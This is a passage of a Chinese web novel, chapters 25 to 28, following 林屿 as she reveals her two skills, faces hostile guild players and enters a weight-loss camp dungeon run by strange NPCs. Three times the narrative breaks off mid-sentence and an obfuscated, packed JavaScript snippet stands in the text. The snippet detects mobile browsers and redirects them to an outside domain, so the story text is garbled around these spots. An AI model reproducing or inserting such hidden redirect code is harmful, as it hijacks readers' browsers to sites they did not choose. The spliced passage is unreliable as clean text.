她知道那句话完全无法代表什么,可能只是一句神志恍惚的胡言。但是身在此方离奇诡谲、不讲道理的世界,个人的安危仿佛成为各种“规则”的玩物,换在平日里会被抛之脑后的言语开始在心底生根发芽。 所有人都会死,那么在死前,所有人都会沦落到那样没有尊严的地步吗? “其实那些疯了的,才能留得更久。” 25. 第二十五章 林屿心头咯噔一跳,“什么意思?” 何芝往回望了望,“每回我送饭的时候,都有留意他们的长相,虽然那里的人数是越来越多了,但有些面孔会消失,只不过,那些看起来神志不清的人一直都在。” 林屿沉默了一下,“或许那些正常人又去了副本,被招揽到某个团体里了呢?” “但愿如此吧。”何芝没有反驳,“这样也能说通,为什么只有精神受损的人一直留了下来。” 但林屿却觉得她并不是那样乐观的想法。 “说到副本,今天我就要下本了,你不用那么急,修整一下。等我回来,如果我没回来就等明天,你、韩舒、孙覃三个人组一次队,适应一下对方的风格——对了,你的技能具体是什么?似乎是有关飞行的,但是在白城你是怎么让东西从包裹里掉出来的?” 果然问了。 林屿早有预料自己两个技能瞒不住,既然要和同伴一起协同过本,她没可能一直只用一种,不如早些过个明路,免得以后被怀疑别有用心。 “其实我有两个技能,‘飞行’和‘给予’。” “这……”何芝愣了一下,“我还从没见过两个技能的例子。” 她张了张嘴,似乎想问林屿是否确定,但最终选择相信她,“或许是这个世界的又一次异变。” 等林屿描述技能效果以后,何芝道:“孟锦竹和韩舒的技能你应该都知道了,那你知道我和孙覃的吗?” “你的技能似乎是很强的攻击,据我观察……能让碰到的东西变成炸弹四处爆破?” 何芝忍不住笑了,“听你说起来像是反社会分子,其实我的技能名称是‘撞击’,能够让一件物品在撞上东西的时候具有极高的速度和质量,所以看起来像是爆炸了一样。” 林屿回忆起那块撞碎巨石的小石头清晰的轨迹,“只是撞击那一瞬间?” “只是那一瞬间。” 她明白了,因为只是那一刻,所以被丢过去的东西在空气中仍然是以原本的速度和力量来运动,因此才被她看了个清楚。 “至于孙覃,他的技能很简单,能够让自己全身硬化,不怕刀砍。” 这个技能很实用啊!所以先前称他为后盾其实说得是他可以当盾牌? 林屿又补充问了一些自己不清楚的地方,说话间,两人已经快要走回去了,不过何芝想要再观察一下今天进出副本的人数,林屿便跟着她越过基地,继续往前走了一会儿。 看着从光圈四周进进出出的人,林屿问道:“你们有没有统计过来到这个游戏的大概有多少人?” “其实比起称这里为游戏,我更愿意用‘这个世界’来代替。”她转过头看着林屿,“你真的认为这里是我们所说的‘游戏’吗?” “我不知道,如果有几万人的话,这里大概真的等同于另一个世界了。” “几万人,是有的。”何芝回答道。 林屿似乎嘲讽地笑了一下,“这么多人失踪,却没有在新闻里看到过一次报道。” 何芝似乎想解释,却见她转过脸来,目光直勾勾的,“何警官,你说过你负责调查失踪案,那么有在这里看到那些失踪的人吗?” 两人在人来人往的街口,玩家们漠不关心地来回,偶尔有人投来探究的目光,又很快撤走,继续他们自己的行程。 何芝艰难地开口,“几乎全部。” 她一时失去了语言。 所有失踪的人,在另外一个几乎等同于现实的世界,遵循着截然不同的规则,进行着一场又一场的“游戏”。 但所有人都不明白,他们为什么在这里,而这一场又一场“游戏”的目的又是什么。 像一群待宰的羔羊。 “所以即使组织里的食物足够成员享用,你也要一直下本,就是为了弄清这个地方?”林屿以陈述的语气说出问句,又抛出了新的问题,“那你们有什么发现?” 她似乎问到了极其关键的问题,何芝回了神,斟酌着透露了一些不那么有冲击力的消息,“我们猜测,副本是一个个虚拟世界,唯有白城属于现实。” …… 回去的路上又经过昨天教训两个玩家的街道,地方没变,而那两人竟然又在这里,他们正和一个面露犹豫的女孩说着什么,林屿装作不经意地走近,他们的对话清楚地进入耳朵。 “你要租的话就底价让给你了,500积分一个月。” “现在商城的价格已经多少了?500还不够买几碗饭的,如果不是为了完成公会给的任务……” “我们是玩家公会,这里高玩最多的组织!还怕我们骗你那几个积分?不信你随便找个玩家问哪个势力最厉害!” 没想到女孩真的随手抓了个路人问道:“你了解玩家公会吗?他们信誉怎么样?为什么这间屋子租金这么便宜?” 林屿本来只是想随便听一听,看看这里又爆了什么瓜,这一回她不打算再用技能了,不然肯定会被发现,她一点也不想体验小黑屋的感觉,结果好巧不巧被女孩拦下,成了那个不幸被选中的人。 四周的玩家都没有靠近的意图,何芝还在白塔附近统计人数,只有她一个人,玩家公会的两人虎视眈眈地看着她,表情像是只要听到一个不好就把她撕了。 虚张声势。 白城可不是“法外之地”,她可不信他们能真的把她怎样。 林屿露出一个彬彬有礼的微笑,“玩家公会吗?我当然有听说过了,那可是鼎鼎大名、如雷贯耳啊!” 玩家公会的两人神情舒展,似乎认为她是个知情识趣的人。 林屿话锋一转,“对了,你是为什么找租呢?” 女孩苦恼地看着她,“先前我和两个朋友合租,但是她们副本失败了,一个人付三个人的不划算,只好另外找地方。” “是吗?那你一定要擦亮眼睛,多打听打听,你知道‘玩家公会’为什么鼎鼎大名、如雷贯耳吗?还不是因为作恶多端、人人喊打啊!他们确实势力大,但他们可不做慈善,更喜欢让别人做‘慈善’。比如昨天,我就看到这两个人把上一个租客赶了出去,还陷害他被关进小黑屋里。” “你说什么!”两个玩家惊怒交加,他们意识到自己被摆了一道。 女孩讶然地看着面色骤变的两人。 “你别听她胡说!”站在左边的人说道,“上一个交不起租金又不愿意离开,我们才不得不请他出去,我们只是合情合理地办事!” “半途涨价让别人交不起租金?昨天你们要的好像是1000积分啊?” 右边的人挥舞起拳头,似乎想用武力威胁林屿改口。 反倒是女孩被吓得后退一步,“那个,我再考虑考虑,先走了……” 说完她拉着林屿飞快地跑走了。 “那个……你不用担心,留在那里也不会有事,白城里只要他们动手就可以举报,不担心被打。”林屿晕头转向地被带着绕了好几条小路,感觉已经记不清回去的方向了,忍不住提醒前面的人。她本来还想如果对方先动手的话试验试验举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495267|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报灵不灵呢。 女孩终于停下脚步,“啊,不好意思,我是第一次遇见这种事……下意识就……” 林屿点点头,“没关系,他们那个样子是挺吓人的,便宜没好货,房子也同理,你可以找找其他的。” 说完她扭头就想着白塔的方向赶,希望何芝还在那附近,不然她就要迷路了…… “那个,我还没感谢你……” 女孩的声音从身后传来,可林屿已经走出老远。 幸好何芝还在附近,她蹭了个顺风车,直接被领回基地,避免了找不到路的窘境。 晚上——或者是手环时间显示的夜晚,白城的光线并不会有明暗的周期,何芝与韩舒进入副本,林屿无事可做,于是开始试验自己的技能,惊讶地发现她的“给予”似乎有所增强,以前只能把手中的物品放到对方手中或者身边,而现在能将5米以内的东西放到10米以内的任意位置——这一点在昨天教训那两个玩家时已经初见端倪,她似乎凭借本能就做到了这点。 只不过这个技能还是显得非常辅助,既无法攻击也无法防御,就像个移动换位功能键一样。 总之就是,不炫酷。 至于飞行…… 她不敢在外面试验,不然白城就会有“天上飞了个人”的“今日奇观”,而在室内这个技能非常受限,只能发挥出滞空、加速的功能,背上也没有任何像上一次那样、长出翅膀的感觉。 因为泥土和西瓜籽的贡献,林屿每天都能领到自己的份例,久违地吃了个饱饭,在浏览那多达百页的商城页面途中进入睡眠,第二天何芝和韩舒已经回归,她也要开始自己的第三个副本之行。 手环显示12:00,林屿和两个同伴站在了进入副本的光圈前。 她的手中拿着新的传讯纸,而旧的那页已经交了回去——理由在出发前已经听过,韩舒的传讯技能可以生成15张纸,但是只有同一张纸上写下的字迹能被显示在它的碎片上,相当于每一页都是一个独立的聊天室,所以她和同伴拿到的是一张纸的三等份。 进光圈之前,林屿问两个队友,“我们是不是忘记带什么了?” 孟锦竹疑惑不解,“该带上的都带上了,绷带、刀、传讯纸,还需要什么?” 林屿道:“我们是不是还需要一支写字的笔,不然怎么发挥传讯纸的作用?” “对啊,这次怎么没发笔给我们?”孟锦竹扭头问来送行的韩舒。 “忘记告诉你们,我的技能升级了,现在直接用手在上面写字就行,不需要笔墨。” “真的可以!”孟锦竹用手指试了一下,看到林屿和孙覃手中的纸条浮现出一只简笔乌龟的图画。 韩舒似乎无奈叹了口气,“节省一点空间,你们还有一个副本要过,过了副本再乱涂乱画也不迟。” 过了副本就可以乱涂乱画吗?一共15张纸,似乎也不能让人这样浪费。 所以,纸可以再生? “你们保重,有事往孙覃身后躲,他的能力可以挡一挡攻击。”韩舒最后嘱咐道。他目送林屿三人从同一个位置进入光圈内,正要离开,忽然看见两个男玩家横冲直撞地挤开路人,以极快的步伐跟随队友们消失的脚步闯进光圈之内。 韩舒心里升起一股不妙的感觉,那两个人,像是专门为了他队友而来的,而且看样子毫无善意。 可惜他的传信纸无法在副本和白城之间传讯。 他在光圈外犹豫了一会儿,给何芝留了一条消息,随后从同一个位置踏了进去。 26. 第二十六章 视野上下晃动着。 面前是一堵发灰的墙壁,黑色的控制台在视野下方出现又隐没。 林屿听见自己的喘气声,两条腿不停地迈着步子,履带的声音嗡嗡入耳。 她眨了眨眼,明白了自己的处境。 她在跑步机上。 这一回的开局和之前不一样,不是把玩家集中投放在一处平地,等待他们浏览任务,进行讨论,而是直接让他们开始任务的进程。 履带速度不快不慢,她扭头快速看了一圈,将房间里的一切收归眼底。 这是一间四四方方的屋子,头顶的白炽灯闪烁着苍白的光芒,墙皮有些剥落了,边角被灰尘染成深色。 五台跑步机和五台动感单车面对面排列,中间留下两米宽的过道。 没有看见队友,两个陌生的面孔坐在动感单车上蹬腿,她在从里到外数第二台跑步机上,最里边那一台上跑步的是一个眼熟的人。 林屿的瞳孔微微一颤。 街上那个玩家公会的人!他怎么会在这里? 他转头看到了她,愣了愣,随即露出一个不怀好意的笑容,“开局好运。” 林屿心头一跳,伸手去按停止按钮,准备离这个人远点。 先和队友汇合再说。 手指触摸到按键,正要按下去,控制台上响起滋滋的电流声。指腹被电流击中,本能地撤回来,又痛又麻的感觉延伸到整个手掌。 嗡嗡声变大,不妙的感觉刚刚涌出来,脚下的履带就突然加速,带得她向前一趔趄,差点摔倒。 幸好两边有扶手。 林屿勉力稳住身形,却跟不上极速增加的速度。本来现实中的跑步机即使最快也在人的能力范围,然而这里是副本,一切不可能的事似乎都能发生。 眼看着她就要摔倒或者被甩飞,而旁边的人已经停下跑步机,手里拿出了一把水果刀。 糟糕! 副本里玩家伤人没有限制! 第一场副本里干瘦男人就对她出过手,充分证明了这一点! 眼看着那人已经站在她的这台跑步机旁边,目光落在她抓紧扶手的手上,看样子似乎想让她失去凭借摔下去,或者直接捅几刀,让她在开局失去行动力。 林屿的余光捕捉到一缕反光,心道不好,双臂的肌肉和腹部突然同时用力,将身体带了起来,重心摆动,一双腿越过扶手直接蹬在了男人脸上,踢得他双脚离地,重重摔倒在背后的跑步机上。 借此机会,林屿直接从边上翻了出去,稳稳落在平地上。 她是用了一点技能的。 匕首就落在脚边,她捡起来看了看,直接放进自己的系统背包里了。 战利品,不要便宜了别人。 跑步机的履带依然隆隆地运作着,不见停歇。 这个时候她听见一个欢快拖长的口哨声。 原先坐在单车上蹬腿的两个玩家中,满头小卷的男玩家已经停了下来,他穿着黑夹克和紧身皮裤,整个人十分吸引注目,双手抱胸坐在座椅上好整以暇地看着林屿。 看来吹口哨的就是他了。 “干得漂亮!”他笑着说道,“他就是欠教训。” 他似乎与玩家公会不对付,不过既然敢公然和他们叫板,应该是个身怀技能的玩家,就是不知道这人对她而言是敌是友。 “你是谁?” “一个深受一些横行霸道者迫害的无辜玩家罢了。”他指了指正在爬起来的人,“他叫钱刚,还有个同伙叫肖昌盛,他们两个人算是玩家公会里最不入流的那些,经常接着公会的名义干些偷鸡摸狗的事揽财,哦不对,揽积分。” “看来玩家公会福利不怎么好啊,成员还得到处赚积分。” “哈哈,是啊,玩家公会不养种植者,现在物价一上去,日子可不好过呢!” “田、子、阳!”钱刚捂着鼻血爬起来,“又是你!你竟然没死在副本里!” “我怎么会死在副本里?不过是光着身子过本而已,谁还怕被看啊?”田子阳漫不经心地把玩着手指,连眼神都没分给他。 光着身子过本! 林屿敏锐地捕捉到了关键词,他竟然光着身子过副本? 目光忍不住上上下下扫视了一遍。 额,应该是个有腹肌的。 “倒是你让我遇上了,就别想通关了。”田子阳站起身向他走去。 林屿忽然觉得有些无语,刚才还是自己和钱刚的矛盾,现在转眼被田子阳压过一头,变成他们两个的矛盾。 本来避过开局浪费时间是好事,但心情就是有点无法形容。 “朋友,你能帮我一下吗?这台单车停不下来了。”冷静的声音从身后传来,林屿回头看见一个齐刘海的玩家快速蹬着车,她面无表情地运动着,看起来十分淡定,然而额头上似乎有冷汗流出。 “我要怎样帮你?”林屿问道。 “刚才那个人似乎碰了什么地方,单车就自动停下了,我怀疑有什么开关在控制,你找一找。” 林屿依言绕着单车转了一圈,可惜并没有看见什么按钮开关。 她扬声问道,“你是怎么停下单车的?” 田子阳正在和钱刚对峙,两人都没有轻易出手,还在一动不动地等待对方的破绽,闻言只是说了一声,“你们找不到的。” 看样子他是不想帮忙了,林屿走到玩家身后,把她往后一拖,顺利让她脱离了单车的座椅和脚踏。 “谢了。”齐刘海站直身体,“我叫漆春,是一个人进本的,要一起组队吗?” “我已经有队友了,不过有线索可以互相交换。”林屿也通报了自己的姓名。 “砰砰!” 重物倒地,砸出巨大的响声,是那两个人开始动手了。 不过…… 他们可以用一点成熟的方式。林屿默默想着。 真的很伤眼睛。 田子阳推倒了一台跑步机,钱刚轻松避过,伸手掏裆。 田子阳弓起腰险险躲过,伸手摘桃,钱刚避之不及,差点被摸到。 感觉被羞辱的钱刚恼羞成怒,食指和中指叉开,就要去戳田子阳的眼睛,而后者棋高一着,早有预料,直接把手指插进了钱刚的鼻孔。 刺激得他“嗷嗷”直叫,流出眼泪。 “呵。”田子阳冷嘲,“看看谁才是真男人!” 一旁观看的林屿:“……” 漆春:“……” 就在两人无语之时,房门从外面打开了,一个身穿黑色贴身短袖的人走了进来,他身材健美,隆起的肌肉撑起了肩膀的衣料,而衣服上别着白色名牌:□□。 这难道是个NPC? 身份似乎是健身教练。 “我听到这里有声音,发生什么事了?”他看到了被推倒的跑步机,脸上露出吃惊的表情,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495268|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们怎么回事?怎么破坏房间的器械?这是要赔钱的!” 听到赔钱两个字,田子阳两人对视一眼,指着对方异口同声道:“是他干的!” “是他!” □□身后传来一个声音,另一个眼熟的人走进来,指着田子阳说道:“肯定是他,他人品不好,总是干这种事。” 看来这就是钱刚的同伙肖昌盛了。 说话间,肖昌盛看到了林屿,又更换了手指的方向,“也可能是她!他们两个人都有嫌疑!” □□犹豫不定,“请破坏器械的人自觉站出来赔款,不然我只能认为是你们所有人共同的责任,到时候惩罚会分摊到你们身上。” 听到惩罚,原本房间里的四个人不淡定了。 鬼知道这个副本的惩罚是什么,肯定不是什么好东西! “是他!”田子阳指着钱刚斩钉截铁地说道,“他把这台跑步机推翻了,教练你看我这小身板,怎么可能搬得动那么重的东西?” “你!”钱刚惊怒交加,对□□说道,“不要被这个人骗了!就是他干的!” “啊?但我看到是你推的,而且你还把我那台跑步机弄坏了,现在还停不下来。”林屿指着那个还在疾速运行的跑步机说道。 □□顺着她手指的方向看到那台机器,目光停在了钱刚身上,“先生,你破坏他人财务,是需要赔偿的。” “她在说谎!”钱刚喊道。 “对!她就是个骗子!”肖昌盛也在帮腔,“说不定那台机器是她自己弄坏的!” □□的目光重新投向林屿,不过她一点也没有慌张的表情,“我觉得这间屋子里发生的事,只有这间屋子里的人有发言权,别人说什么都是胡说八道。” 田子阳也点头道:“对啊,不如少数服从多数,看哪个人身上的票数多,我们一共四个人,总不可能都在说谎吧?” 这下所有人的目光都集中在漆春身上,她脸上还是没有什么表情,但是脸色变白了。 她不想得罪玩家公会的人,那意味着之后被找麻烦。 凭借实事求是的心态,也应该指证田子阳。 但是,一开局她就看到钱刚就拿出匕首想杀人,这种人真的会对路人玩家手软吗? “你看到是谁做的吗?”□□黑洞洞的双眼盯着漆春问道。 “我不知道……我弃权!”漆春不止被□□逼视着,还遭到来自钱刚和肖昌盛的威胁目光洗礼,虽然她是这里最无辜的一个,却变成了压力最大的一个。 “你看到是谁做的吗?”□□像是没有听到一般,又重复了一遍。 “我没看见!我当时被动感单车绊住了!”漆春大喊道。 “你看到是谁做的吗?”□□再次重复了一遍。 漆春刚刚被单车折磨了一遍,现在又被NPC逼问,被玩家威胁,而她刚刚从相对安宁的白城下到副本,根本无法适应一开局的高压,精神快要崩溃了,表情上的镇定再也维持不住,口中喃喃道:“少数服从多数是吧……你们都投他,那我投我自己。” 她抬起头说道:“我投我自己。” 即使她知道自己那一票本就无足轻重,但是那两个面露凶恶的玩家未必会这样想,她不想和刚刚救了她的玩家一样被盯上,被掏刀子威胁。 “那么,接下来这位先生需要赔付给我们900,而那位先生和小姐你需要赔付给我们450。”□□最终定论道。 27. 第二十七章 “什么!”漆春完完全全地傻眼了,“明明是他的票数多啊!” “可是女士你刚才承认了破坏器械。”NPC□□说道,他又往前走了几步,露出身后的空间。原先被挡在门外的一男一女两人也暴露在所有人的视线中。 他们的衣服上没有铭牌,应该也是玩家。 “我没有承认破坏器械,我只是投了自己一票!”漆春急忙辩解。 □□根本不听解释,只认死理,“你投自己一票,说明也有参与破坏器械的行动。” 林屿的目光在看到NPC身后之人的时候暗了暗,不是孟锦竹和孙覃,她的队友至今不见踪影。 难道,她也遇到了第一个副本时孟锦竹的情况,和队友分散在不同的副本里了? 情况不妙,这里有两个和她有过节的玩家。 □□已经在伸手向钱刚索要钱财,“先生,请您现在就赔付,否则之后的服务将会受到影响。” 钱刚一肚子气,简直想破口大骂,“不是我!你们NPC脑子被屎糊了吗?听人说什么就是什么!” 肖昌盛也帮腔道:“对啊!他们说法都不一样,肯定是有人在说谎!” 几人吵得不可开交,田子阳也没想到NPC是按票数分配赔偿额度的,开始试图和□□讲道理。漆春虽然暂时被忽略了,但是她明显十分焦虑,双手绞在一起,泛白的嘴唇上被咬出几道深深的齿痕。 林屿想了想,插嘴问NPC,“你说的那个900和450,究竟是指什么,钱币?什么种类的钱币?” □□卡壳了一下,回答道:“总之,客人你们需要赔付!” 林屿指了指倒地的那台机器,“这一台虽然翻倒了,但外观上没有任何损坏,扶起来能用就不用赔吧?” □□又卡了一下,“但是……” “还有那一台机器,突然就坏掉了,差点让我摔下来受伤,幸好我身手好才免于一劫,如果换成其他人已经躺在医院里了。虽然身体没事,但我的精神遭受到了极大的惊吓,你们是不是需要赔付精神损失费?” 林屿指着另一头的跑步机说道。 “这……” 说话间,钱刚和肖昌盛已经将倒地的机器扶正——这时已经顾不得找林屿麻烦了,明显是他们的情况更不利一些,而她的话恰好能给他们解围。两人按下了开关键,履带正常地运行起来。 林屿示意NPC看背后的跑步机,抬了抬下巴,“这个机器没有坏,看来你就是想要讹诈我们顾客,叫你们的经理过来。” “对啊!”钱刚也说道,“根本没有坏!你是不是想讹我?叫你们领导过来!” □□扭头看过去又看过来,卡壳半天,最后似乎放弃找茬了,原本咄咄逼人的气势一泻千里,似乎有些落荒而逃地转身往门外走。 “接下来,我将带你们参观下一个场地,请跟随我从这里下楼,注意脚下,小心踩空,已经有客人率先来到这里体验这一项运动了……” 漆春长长舒了一口气,双手放松地垂下,她对林屿友好地笑了笑,“多谢你,我刚才真是昏了头想出那样的主意,主要是玩家公会的名声……” “我明白的。”林屿理解地说道,“他们一开局就敢对玩家下手,确实非常没有顾忌,不想得罪他们是很正常的事。” 她心里默默地把“玩家”替换成了“我”,自己就是那个被下手的倒霉蛋,唉。 为什么就偏偏招惹上他们了呢?明明在不久以前自己根本就不会惹上任何人,结果一进这个世界就四处结梁子。还是外面世界好,大家都是文明人,只会拿一些看不见的东西威胁人,比如名声钱财地位什么的,不会动不动拿起刀和拳头威胁人。 唉,她活了二十多年,在外面还从没有遇到被小混混威胁这种事,结果都在副本里遇到两次了。 “如果之后难度高的话,我们也可以组队。”林屿说出了自己的目的。 假如她真的被孤单地遗落在这里,面对两个对她心怀恶意的玩家,她就需要有同盟了。漆春不想得罪那两人,但至少不能让她站在他们那一边。 其实她本可以什么也不说,任由NPC惩罚两个玩家,这样至少能挫败一个敌人,让他在开局处于不利的情况。 算了,至少没有耽误太多时间。 林屿看到负一楼的标识,随后被NPC领着进了一个宽阔的场馆——是方才健身房的五六倍大,中央有一个巨大的泳池,蓝色的水波无风荡漾。 泳池边,有几个浑身湿漉漉穿着泳衣的人,一个坐着,两个站着,喘着粗气,似乎都有些狼狈。 林屿的心慢慢地落到胸腔内,比先前稳当了不少。 是她的队友。 谢天谢地,她不用一个人对上两个敌人。 坐在地上的孟锦竹也看到了她,脸上露出开心的神色,就要抬起手打招呼——被孙覃眼疾手快地按下去,他的目光疾速掠过前方的NPC□□和后面浩浩荡荡的七个玩家,微不可查地对林屿点了点头。 他似乎并不想让人知道他们认识她。这也是之前提过的策略,如果副本人数多就分散一点不让人知道关系,人数少就抱团。 林屿了然,没有露出任何异样。 斜前方的田子阳回过头来看了一眼后方的三个玩家。 □□等三人去旁边的更衣室换好衣物,带着一众玩家浩浩荡荡地上了楼,路过方才她所在的健身房,来到吃饭的地方。 看到一字排开的餐桌和周围摆放自助的菜品,有人问道:“这回我们的任务是什么?难道是健身?系统为什么没有任何提示?” 他是对玩家说的。 “对啊,系统怎么没有发布具体的任务?”漆春扭头对林屿小声嘀咕,“是要我们自己探索吗?” 林屿心说我也不知道怎么回事,这才是我的第三个副本呢,还不了解系统发布任务的风格。她看了一眼空间,系统通知那一栏是空白的。 □□转过身,做了一个请进的姿势,“各位女士们、先生们,这里是本营地的饮食中心,提供各种低热量、营养搭配全面的餐食,食材干净新鲜,健康美味。” “所以,你们是开健身房的吗?想让我们办年卡?”田子阳双手插兜,在人群中问道。 “没有,我们不办卡,客人能在那么多人中抢到名额,还已经缴清了费用,竟然不知道这里是什么地方吗?”□□僵硬着脖子,一点一点转过头,盯向提问的玩家。 田子阳身边的两个玩家远离了他两步。 “我们要减重多少斤?” 林屿身后的一个玩家问道,她转过头,一男一女牵着手,发问的是右边扎着马尾的女人,她察觉到视线,对林屿和其他玩家解释道:“这里应该是减脂营,游泳池和健身房是运动项目,我们是从楼上的瑜伽室下来的,那里还有测身高体重的设备,再加上低热量餐饮……不知道你们去过这种地方没有,我有百分之70的信心肯定这一点。” 不知道百分之70的信心是怎么算的,不过林屿认为没错,方才泳池在负一楼,上一层楼就是一楼,方才在NPC的带领下经过走廊和房间,但是根本没有看到像出口的地方,也就是说副本的空间就限定在这个建筑内。 这一点符合现实里减脂营的实际。如果是健身的话,人们在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495269|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短时间内来了就走很正常,除非副本时限也缩到那么短,不然应该会设置其它场景。 但是现在系统甚至没有发布任务。林屿心里暗暗觉得不同寻常。 她环视了一圈,没有看到其他人,只有□□和他们十个玩家。没有应该出现在这里的那个人。 “□□,你们这个营地还有其他管理员吗?” “具体减重多少按照合约上的来,如果想要多减,需要重新拟定合约和费用。”□□开口回答玩家的话,“至于管理人员,我们这里一共有两个减重教练和一个负责人,三楼是经理和董事的办公室,如果没有紧急情况,请不要随意上楼打扰。” 看样子一共有四个NPC,所以,贺望会是其中的哪个身份呢?之后她得去各个房间看一看情况,找一找其它的NPC,把人找出来。 上一回他玩阴的,这一回看不到人她一样没法利用举报功能,不能坐着等他坑自己。 她冒着风险邀请他继续这场游戏,不是为了被他坑的。 “那什么又是紧急情况呢?”林屿问道。 □□面无表情地将目光投向了她,“比如受到不能恢复的伤害,影响到了每天的运动计划,每人每天必须完成4小时的运动量,否则便会被视为违约。” “违约又会怎么样呢?”田子阳继续刨根究底。 □□阴沉的目光又转向了他,扭头的动作再次重复,看得林屿一乐,连紧张感似乎都消散了不少。 谁提问这个NPC就把头转向谁,而身体的方向又没有变,只有头和脖子在转动,虽然诡异,但是又有点像那种没有AI模块,智能不高的传统机器人一样。 “会失去会员资格,被请出此次活动。” 刨根究底真是个好习惯,这不就知道了一条需要玩家避免的事项了吗? 不过她之前真是差一点就踩坑了,如果真的摔得失去行动力或者被钱刚刺伤后果不堪设想。就是不知道当时自己的机器出问题是它本身的诡异还是钱刚做了什么。 “现在,请各位用餐,每餐最低食用量为1kg。”□□死气沉沉地说完,便侍立在一旁,看样子不打算继续引导玩家了。 食物有各种各样、红红绿绿,主食蔬菜肉食都有,只不过除了水煮蔬菜和蔬菜沙拉,其它都做成了泥,土豆泥、紫薯泥、山药泥,就连肉也是肉泥的做法,让人有些疑惑不解。 大家都不是长牙的幼儿,至于这样加工吗?加工过度,都有点丧失食欲了。 林屿拿着餐盘在自助区转了一圈——在每个东西上都试了一下——其他玩家也在做同样的事,这一回也许是人多,也许是情况特殊,加上领路NPC看起来不好惹,没有人率先做出筛选食物这一项不合时宜的举动,都等到了现在。 然而离谱的事情发生了,每一样东西都能放进系统背包! 几乎所有玩家都露出不可置信的表情,然后是狂喜,疯狂地开始扫货,瞬间让台面空了一大半。 一格背包只能装进同样的东西,林屿刚刚塞了一大框蔬菜进去,忽然停下了手。 她上前撞了两个同伴一下。 “不好意思不好意思。”说着,微微对他们摇了摇头。 孙覃和孟锦竹两只手还放在台面上,疑惑不解地看着她。 这时玩家们听见“啪啪”的走路声,像是皮鞋拍到瓷砖地面发出的声音。 “大家都这么喜欢我们营地准备的东西呀,呵呵,下次我让厨师多做一点,只不过有一点你们应该知道,拿多少吃多少,不能浪费。” 一个身穿休闲衬衫的男人出现在门口,笑呵呵地对里面的人说道。 28. 第二十八章 “拿多少吃多少?”钱刚和肖昌盛两人还在扫货,“拿过的东西当然要自己吃了,这是自助的礼仪不是?” “丁经理。”□□向男人鞠躬行礼。 “一顿。”丁经理说道,“必须在一顿之内吃完,包括你们藏起来的那些。” 这下所有玩家都变了脸色。 “经理。”林屿的目光从来人头顶的“地中海”,看到他穿着人字拖,在地面上一下一下轻点的脚丫子,“我们从那么多减肥营里面选了你们,还提前交了那么一大笔费用,看中的就是你们的服务和态度,不至于一上来就污蔑我们拿东西了吧?这样的话还不如趁早换一家。” “对啊!”田子阳附和,“我们拿的就只有手里的东西,要不然你搜一搜,能找出来的话我们认,找不到就是你们污蔑人!需要赔偿的!” 经理的脚尖一下一下翘起,鞋面和瓷砖撞击出有规律的“啪嗒”声,宛如计时器节拍一样打在每一个人心里。他笑了一声,指着每一份餐食前贴着的名称字条说道:“每一种的分量有多少我们都写明了的,你们拿了多少我自然知道。” 林屿定睛一看,果然在每种食物的名称后面写了它们的“量”:【鸡胸肉,1kg】、【水煮蔬菜,1.2kg】、【土豆泥,0.5kg】、【蔬菜沙拉,苦菊0.13kg、紫甘蓝0.06kg、羽衣甘蓝0.14kg……】。 好家伙,连沙拉里的每一种蔬菜都丧心病狂地分开计算,可见这一条规定并非无的放矢,反而针对性极强,正好立在玩家的弱点上,就好像早已猜中他们见到能够收进空间的食物会如何反应一样。 绝大部分人都被突如其来的“惊喜”给震住,随后开始疯狂“进货”,即使有人看见了后面标注的分量,也不会明白那意味着什么。何况,就算知道了,玩家会轻易放弃眼前的“肥肉”吗?物资是白城生存的资本,而食物是其中的重中之重。 有多少食物,就能在白城安全地度过多少天。 林屿见丁经理丝脸上毫没有被质问的犹疑和退缩,心里涌现出疑惑,这里的NPC……了解玩家? 可前两个副本的NPC被玩家指着鼻子说“NPC”这几个字都不会觉得被冒犯,根据邻家女孩一开始分不清仲腾和真正害了她的人这个情况来看,他们的记忆也是混乱的,林屿甚至不知道他们记忆里的过去是真是假。 他们被副本的框架限制着,就像一个一个用来考验玩家的工具,一遍又一遍地履行着自己的职责。 而这个NPC,连玩家有系统背包的事都能察觉到。 “所以呢?你要我们把东西还回去?”漆春问道。 “不是还回去,我要你们拿多少吃多少,这么简单的话不会再让我说第三遍吧?”丁经理还是那副恼人的气定神闲,“难道让别的客人吃你们碰过的东西?” “你血口喷人!除了手上拿的这些我还拿了什么?”钱刚咬死了自己没有拿食物,他就不信区区NPC能摸到玩家的系统背包里去。 丁经理数着节拍的脚丫子停了下来,“如果我们营地的学员们受不了这些规定,想要退款离开也不是不可以,现在我给你们机会。” 他摆明了态度:爱来不来,不来就滚。可没有一个玩家离开餐厅。 